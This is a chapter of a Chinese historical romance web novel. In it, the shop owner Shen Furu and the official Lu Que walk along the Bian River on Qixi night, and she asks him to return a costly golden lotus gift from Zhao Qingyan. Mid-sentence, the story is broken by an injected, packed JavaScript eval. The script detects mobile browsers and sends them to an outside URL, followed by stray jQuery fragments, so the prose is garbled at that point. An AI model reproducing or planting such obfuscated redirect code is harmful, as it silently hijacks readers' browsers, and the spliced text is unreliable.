天色渐暗，阿虞早就脱下围裙，欢呼雀跃着和草市坊几个小娘子结伴出去放河灯。


    沈芙蕖把那束金荷小心包进锦缎，收在了床底下，将门上了几道锁，又嘱咐张澈仔细看店，自己这才出了门。


    夜风微凉，沈芙蕖拢了拢衣襟，朝保康门内街行去。


    周寺正先前提过一嘴，他家住在保康门内街西第三巷，这个巷子又俗称“法官巷”，距离大理寺衙门只有二里地。


    但具体在哪里，沈芙蕖也不知道，如今这个情况，她决定挨家挨户问去。


    谁知刚问了一家，法官巷的四坊邻居都探头出来，纷纷用好奇的眼光打量沈芙蕖，一个个心里嘀咕。


    周寺正瞧着一向老实，这乞巧节晚上怎么有个穿红挂绿的小娘子来找，莫非是在外头留了情，人都找上门了？


    沈芙蕖心下一沉，暗忖这般贸然寻来，若给周寺正惹来闲言碎语，反倒成了她的过错。


    她略一思量，只得撒了个谎：“周大人白天在敝店买了包果子，银钱上有些差错，我特来送还。”


    槐树门口坐着个乘凉的妇人，怀里抱着个很小的婴孩，摇着蒲扇道：“小娘子来得不巧，周大人带着他家两个姑娘去汴河边放河灯去了，前脚刚走，你后脚就来了。”


    “嗳，那可真是不巧，正好错过了！”沈芙蕖收起眼底的失望。


    那妇人打量了沈芙蕖一眼，说道：“小娘子可是芙蓉盏的沈掌柜？”


    保康门位于汴京内城西南，隶属宜秋坊，从这里走至草市坊的芙蓉盏，得半个时辰，能在此遇见熟客倒是意外。


    “正是。”沈芙蕖含笑应道。


    妇人怀中的婴孩咿呀作声，妇人轻拍襁褓哄着孩子，眯起眼睛，半是怀念道：“生这孩子之前，我经常去芙蓉盏吃面，如今带着娃娃不便走动，倒是惦记起红烧羊肉和卤鸭翅的味道。”


    沈芙蕖说：“待小公子大些，您尽管带他来芙蓉盏，面钱算我的。”


    “那就先谢过沈掌柜了，若是足不出户也能吃到芙蓉盏的手艺就好了……”妇人微微一笑，继而笑道：“瞧我，净耽误沈娘子正事了。”


    沈芙蕖向妇人道别，心道，今日是找不到周寺正了，也问不到赵清晏的住址，想着想着，不知不觉间走至大理寺。


    暮色笼罩，宴席上的觥筹交错犹在耳畔，女眷们尖细的笑声、男宾们粗犷的劝酒声，仿佛还在陆却太阳穴上扎着针。


    陆却揉了揉眉心，抬脚便往大理寺门前跨去。这个时辰，值房里应当只剩几个书吏，正好躲个清净。


    “大人！陆大人！等等我！”陆却听得一个熟悉的声音，一抹海棠红的影子猝不及防撞进视线。


    那双黑色的眸子依旧抢眼，眼尾微微上扬，带着三分英气。发间一支木簪，素净简朴，柔中带刚，明艳不可方物。


    今日已经是第二次遇见沈芙蕖了。


    沈芙蕖急忙开口：“是这样的，我想寻赵小官人说些事情，却不知他住处。大人既是他表兄，能不能指条路呀。”


    陆却皱着眉，注意到沈芙蕖的衣裳，她平时不穿这么艳丽，红褙子，袖口收着窄窄的牙白滚边，衬得她肌肤如玉，今日在汴河边约会的娘子，多半这么打扮。


    “你找赵……四有事？这么晚了？”陆却眉头皱得更紧。


    沈芙蕖点头，眼里带着些急切：“是的是的，确实有要紧的事。”


    可乞巧节能有什么要紧的事？她沈芙蕖掉进钱眼里，乞巧节也要忙着扎花卖果子，怎么有空来找赵清晏？还有什么事情是比赚钱更重要的？


    什么要紧事，非得今夜说？


    还能为什么事？她是准备表明心迹吗？


    陆却想都没想，一口回绝了：“你见不到他。”


    沈芙蕖不明所以：“大人，你就给指条路，我自然有办法能见到他。”


    陆却冷冷道：“他们家规矩多，我说你见不到，便是见不到。”


    沈芙蕖心里骂道，你管我见不见得到，你陆却高门大户的，我不是一样进去了，真是阎王易见，小鬼难缠！


    “陆大人，实不相瞒。赵清晏不知道从哪儿弄来的一份厚礼，我……我实在收不得！要不这样吧，你作为他表哥，先把那东西拿走，成不成，放在我的芙蓉盏，委实叫人寝食难安！”沈芙蕖索性摊开了说。


    太子殿下他真是——又胡闹了！


    陆却本不想理这件事，他又不是赵清晏的真表哥，何必天天替他收拾烂摊子？


    正欲拒绝，又听沈芙蕖说：“陆大人，您这表弟家中到底是做什么营生的？我真是差点要被他吓死了，麻烦您行行好，跟我走一遭。”


    月光下，她声音有些发颤，竟真显出几分惶然。


    陆却终究叹了一口气：“走吧。”


    沈芙蕖与陆却并肩而行，沿着河岸小径，穿过熙攘的人群。


    河面上浮着千百盏莲花灯，烛火映着流水，碎成粼粼的金波。


    有少女蹲在岸边，小心翼翼地将灯放入水中，合掌闭目，似在许愿。


    也有孩童嬉笑着追逐，手中的灯摇摇晃晃，险些翻倒，又被大人一把扶住。


    “今年的灯挺多的，惠娘子今日过生辰，怎么不出来放河灯？”沈芙蕖说，这一路上，陆却都不怎么说话，都是沈芙蕖在说。


    陆却微微颔首，目光扫过河面：“府中有活水可放花灯，惠善向来不在汴河凑这个热闹。”


    沈芙蕖想起那日在陆府见到的荷花池。汉白玉砌就的池沿，池中锦鲤游弋，确实比这汴河边的熙攘要雅致得多。


    看着眼前这满河璀璨的灯火，沈芙蕖觉得，精致的池塘，反倒显得寂寞了。


    这时，一艘画舫缓缓驶过，舫上歌姬的琵琶声飘荡而来，混着夜风，添了几分缱绻。


    灯影映在舫侧的纱帘上，勾勒出曼妙的身姿，引得岸边行人驻足观望。


    沈芙蕖也不由放慢脚步，望着河中央那盏最大的灯，金箔贴面，形如凤凰，烛火透过薄如蝉翼的灯纸，将整片水域映得流光溢彩。


    陆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16209680|179799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却淡淡道：“那是韩府的灯，每年如此，张扬得很。”


    沈芙蕖想起白天在陆府的所见所闻，笑了笑，没接话。


    她弯腰拾起一盏被水浪冲回岸边的灯，重新点燃烛芯，轻轻一推。那灯晃了晃，终于顺着水流飘远，混入万千灯火之中。


    陆却侧目看她，忽而开口：“你许了什么愿？”


    沈芙蕖眨了眨眼：“当然是早日还了陆大人的钱，开上酒楼，成为汴京首富！”


    陆却一怔，随即别过脸去。


    沈芙蕖颇为自豪道：“陆大人，我当初找你借钱时候夸下的海口，如今可都实现了，我店里现在足足雇了十个人！”


    陆却难得说了一句讨喜的话：“那陆某便期待着有一天，你店里的伙计能遍布整个汴京。”


    “多谢多谢！一定会的！”沈芙蕖高兴道。


    夜风拂过汴河，陆却的脚步不自觉地放缓。


    与沈芙蕖并肩而行，竟让他感到一种久违的松快。


    沈芙蕖虽是个食肆掌柜，出身商贾，言谈间却自有一番通透。论市井百态，她如数家珍。谈朝堂风云，亦能切中肯綮。更难得的是那份不卑不亢的气度，既不因他官身而谄媚，也不为权贵折腰。


    陆却想起大理寺那些战战兢兢的胥吏，对比眼前这个敢直视他眼睛说话的女子，唇角不自觉扬起一丝几不可察的弧度。


    芙蓉盏的门口，依旧人声鼎沸，剩下的伙计们嗓子都要喊哑了，但是没人觉得累，因为掌柜的说了，今天卖的所有东西，都有抽成，卖得多，赚得就越多。


    “陆大人，我们从后门进吧，你且在院子里坐一下。”沈芙蕖先给陆却沏了茶，然后进了自己的厢房，去拿金荷。


    陆却默默坐下，不一会儿娉婷的身影便走近了。


    “大人请看。”沈芙蕖将锦缎打开，一束金色的荷花展现在陆却面前。


    陆却自幼也是锦衣玉食长大的，眼界颇高，所以当他看到这束荷花时，不仅有些错愕，也有些无语。


    这根本谈不上什么多精巧的工艺，多珍奇的料子。毫无风雅巧思，只将“贵重”二字诠释得淋漓尽致。


    沈芙蕖敲了敲荷花旁边形态逼真的莲蓬，说道：“陆大人，这颗莲蓬可是实心的，光这颗莲蓬就能买下三个芙蓉盏了。”


    胡闹！！！这是送礼还是下聘啊！


    陆却的脸色变了又变，又听沈芙蕖说：“陆大人，我知道赵清晏他家境优渥，不谙世事。再加上他年纪又小，大约对银钱没什么概念，所以给我送了这么份大礼。可我不能收啊。”


    沈芙蕖的语气里带着几分无奈，却又透着不容商量的坚决。


    “赵清晏差人送来的时候，我并不在场，也不知道店里哪些人瞧见了。若是消息不慎传了出去，或惹来些不轨之徒的觊觎，反倒成了祸端。所以，烦请陆大人代我还。”


    “……好吧。”陆却眉心一动，不知道这姑娘是真傻还是假傻，这么一大块金疙瘩送来，她当真没有半点体悟到赵清晏的心意？